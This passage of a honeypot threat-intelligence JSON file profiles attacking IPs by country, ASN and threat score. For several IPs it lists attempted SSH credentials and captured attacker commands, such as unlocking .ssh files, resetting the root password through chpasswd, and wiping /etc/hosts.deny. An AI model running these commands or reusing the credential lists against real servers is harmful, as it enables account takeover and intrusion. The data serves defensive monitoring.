        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45538,
      "as_org": "ODS Joint Stock Company",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:56:40.767000+00:00",
        "last_seen_30d": "2026-05-03T00:40:14.392000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "123.165.80.236": {
      "attack_count": 192,
      "first_seen": "2026-05-19T07:29:33.510Z",
      "last_seen": "2026-05-19T17:53:54.650Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:29:33.510000+00:00",
        "last_seen_30d": "2026-05-19T17:54:56.902000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 106
      }
    },
    "157.20.254.47": {
      "attack_count": 188,
      "first_seen": "2026-05-04T21:50:58.400Z",
      "last_seen": "2026-05-23T07:56:32.812Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "administrador",
        "git",
        "mcadmin",
        "sgp"
      ],
      "passwords_attempted": [
        "!QAZxsw23edc",
        "123",
        "12345678",
        "345gs5662d34",
        "Passw0rd",
        "aadmin",
        "adminadmin123",
        "mcadmin",
        "oracle11",
        "pa$$w0rd123",
        "q1",
        "qazxsw2",
        "sgp@123",
        "test101"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nvgjiiwyA1DbO\\nvgjiiwyA1DbO\\n\"|passwd",
        "echo \"qazxsw2\\nc9VqqFkwJjGr\\nc9VqqFkwJjGr\\n\"|passwd",
        "echo -e \"12345678\\nvgjiiwyA1DbO\\nvgjiiwyA1DbO\"|passwd|bash",
        "echo -e \"qazxsw2\\nc9VqqFkwJjGr\\nc9VqqFkwJjGr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 151000,
      "as_org": "PT Awan Data Indonesia",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:50:58.400000+00:00",
        "last_seen_30d": "2026-05-23T07:57:36.226000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 38
      }
    },
    "118.26.39.42": {
      "attack_count": 166,
      "first_seen": "2026-05-28T10:28:48.182Z",
      "last_seen": "2026-05-28T10:57:30.173Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steamcmd",
        "admin",
        "bpuser",
        "carlos",
        "deploy",
        "ftpuser2",
        "map",
        "myuser",
        "nuc",
        "sami",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "123456",
        "1qaz2wsx",
        "Abc@111111",
        "Admin.1234",
        "bpuser",
        "carlos1234",
        "fjbdfdjkdsfs541544",
        "map",
        "newpassword",
        "nuc",
        "q1w2e3r4",
        "root",
        "steamcmd",
        "wu123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GTdTIkREkZ5R\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:28:48.182000+00:00",
        "last_seen_30d": "2026-05-28T10:58:35.404000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 46
      }
    },
    "42.58.225.30": {
      "attack_count": 122,
      "first_seen": "2026-05-10T03:54:50.805Z",
      "last_seen": "2026-05-10T03:59:29.817Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:54:50.805000+00:00",
        "last_seen_30d": "2026-05-10T04:00:31.963000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 62
      }
    },
    "129.232.165.250": {
      "attack_count": 108,
      "first_seen": "2026-05-07T17:30:10.613Z",
      "last_seen": "2026-05-31T08:54:07.871Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 37153,
      "as_org": "xneelo",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:30:10.613000+00:00",
        "last_seen_30d": "2026-05-31T08:55:11.285000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "197.158.38.167": {
      "attack_count": 98,
      "first_seen": "2026-05-22T21:01:26.067Z",
      "last_seen": "2026-05-23T07:12:53.346Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": "Maputo",
      "asn": 30619,
      "as_org": "TMCEL-Mocambique",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:01:26.067000+00:00",
        "last_seen_30d": "2026-05-23T07:14:00.641000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 50
      }
    },
    "113.221.77.183": {
      "attack_count": 92,
      "first_seen": "2026-05-23T08:04:37.287Z",
      "last_seen": "2026-05-23T13:59:33.849Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:04:37.287000+00:00",
        "last_seen_30d": "2026-05-23T14:00:41.080000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 51
      }
    },
    "154.221.28.214": {
      "attack_count": 92,
      "first_seen": "2026-05-24T18:50:59.138Z",
      "last_seen": "2026-05-24T19:53:49.404Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "int",
        "ubuntu",
        "345gs5662d34",
        "cloud",
        "curl",
        "fox",
        "mythtv"
      ],
      "passwords_attempted": [
        "!Q2w3e4r5t6y",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei12#$",
        "Pass@123",
        "Q!w2e3r4t5y6",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "fox",
        "int",
        "mythtv",
        "p",
        "redhat",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:50:59.138000+00:00",
        "last_seen_30d": "2026-05-24T19:54:50.230000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 43
      }
    },
    "101.109.186.204": {
      "attack_count": 70,
      "first_seen": "2026-05-06T01:14:48.836Z",
      "last_seen": "2026-05-06T01:49:12.595Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "bitrix",
        "deploy",
        "ftpuser2",
        "mysql",
        "postgres",
        "root",
        "test",
        "testik",
        "ts33",
        "ubuntu",
        "user0",
        "user4",
        "username",
        "vpsuser"
      ],
      "passwords_attempted": [
        "111111",
        "321",
        "3245gs5662d34",
        "4",
        "Password123",
        "admin123,./",
        "ftpuser123",
        "password12345678",
        "q1w2e3r4",
        "test123",
        "testik",
        "ts33",
        "user0",
        "vpsuser123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phetchaburi",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:14:48.836000+00:00",
        "last_seen_30d": "2026-05-06T01:50:17.134000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 34
      }
    },
    "45.178.248.77": {
      "attack_count": 56,
      "first_seen": "2026-05-19T13:28:34.542Z",
      "last_seen": "2026-05-19T17:43:42.695Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juatuba",
      "asn": 269051,
      "as_org": "UNIVERSO FIBER COMUNICACAO MULTIMIDIA",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:28:34.542000+00:00",
        "last_seen_30d": "2026-05-19T17:45:45.536000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 28
      }
    },
    "115.52.180.76": {
      "attack_count": 50,
      "first_seen": "2026-05-31T07:55:20.054Z",
      "last_seen": "2026-05-31T08:00:44.402Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:55:20.054000+00:00",
        "last_seen_30d": "2026-05-31T08:01:47.491000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.161.59": {
      "attack_count": 50,
      "first_seen": "2026-05-29T15:37:27.183Z",
      "last_seen": "2026-05-29T15:42:51.594Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:37:27.183000+00:00",
        "last_seen_30d": "2026-05-29T15:43:54.156000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.38.127": {
      "attack_count": 50,
      "first_seen": "2026-05-30T23:03:31.472Z",
      "last_seen": "2026-05-30T23:08:56.026Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T23:03:31.472000+00:00",
        "last_seen_30d": "2026-05-30T23:09:56.906000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "67.102.7.202": {
      "attack_count": 50,
      "first_seen": "2026-05-03T02:13:10.398Z",
      "last_seen": "2026-05-03T02:18:34.677Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:13:10.398000+00:00",
        "last_seen_30d": "2026-05-03T02:19:40.001000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "185.219.133.156": {
      "attack_count": 48,
      "first_seen": "2026-05-09T04:25:19.070Z",
      "last_seen": "2026-05-31T11:58:49.762Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 205399,
      "as_org": "Hostigger INC.",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T04:25:19.070000+00:00",
        "last_seen_30d": "2026-05-31T11:59:52.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "5.135.167.5": {
      "attack_count": 42,
      "first_seen": "2026-05-16T19:26:16.620Z",
      "last_seen": "2026-05-29T15:37:51.592Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T19:26:16.620000+00:00",
        "last_seen_30d": "2026-05-29T15:38:57.499000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "72.255.18.163": {
      "attack_count": 42,
      "first_seen": "2026-05-19T12:09:06.727Z",
      "last_seen": "2026-05-19T12:13:39.191Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:09:06.727000+00:00",
        "last_seen_30d": "2026-05-19T12:14:46.557000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "201.159.94.249": {
      "attack_count": 38,
      "first_seen": "2026-05-19T18:10:44.173Z",
      "last_seen": "2026-05-19T20:44:39.817Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 272585,
      "as_org": "SB NET TELECOM",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:10:44.173000+00:00",
        "last_seen_30d": "2026-05-19T20:45:47.732000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 19
      }
    },
    "104.238.74.2": {
      "attack_count": 36,
      "first_seen": "2026-05-15T09:16:47.445Z",
      "last_seen": "2026-05-15T10:39:22.737Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T09:16:47.445000+00:00",
        "last_seen_30d": "2026-05-15T10:40:30.494000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 36
      }
    },
    "110.36.20.111": {
      "attack_count": 34,
      "first_seen": "2026-05-18T03:12:07.682Z",
      "last_seen": "2026-05-18T03:15:48.235Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T03:12:07.682000+00:00",
        "last_seen_30d": "2026-05-18T03:16:54.665000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "202.10.43.162": {
      "attack_count": 30,
      "first_seen": "2026-05-14T05:06:55.833Z",
      "last_seen": "2026-05-31T04:35:46.919Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 58487,
      "as_org": "CV. Rumahweb Indonesia",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:06:55.833000+00:00",
        "last_seen_30d": "2026-05-31T04:36:49.349000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "36.255.33.250": {
      "attack_count": 30,
      "first_seen": "2026-05-17T15:24:26.783Z",
      "last_seen": "2026-05-17T15:27:41.331Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T15:24:26.783000+00:00",
        "last_seen_30d": "2026-05-17T15:28:48.975000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "66.167.169.173": {
      "attack_count": 30,
      "first_seen": "2026-05-15T18:07:48.082Z",
      "last_seen": "2026-05-15T18:11:01.943Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T02:42:18.310000+00:00",
        "last_seen_30d": "2026-05-15T18:12:08.436000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "80.94.95.115": {
      "attack_count": 25,
      "first_seen": "2026-05-30T01:55:40.955Z",
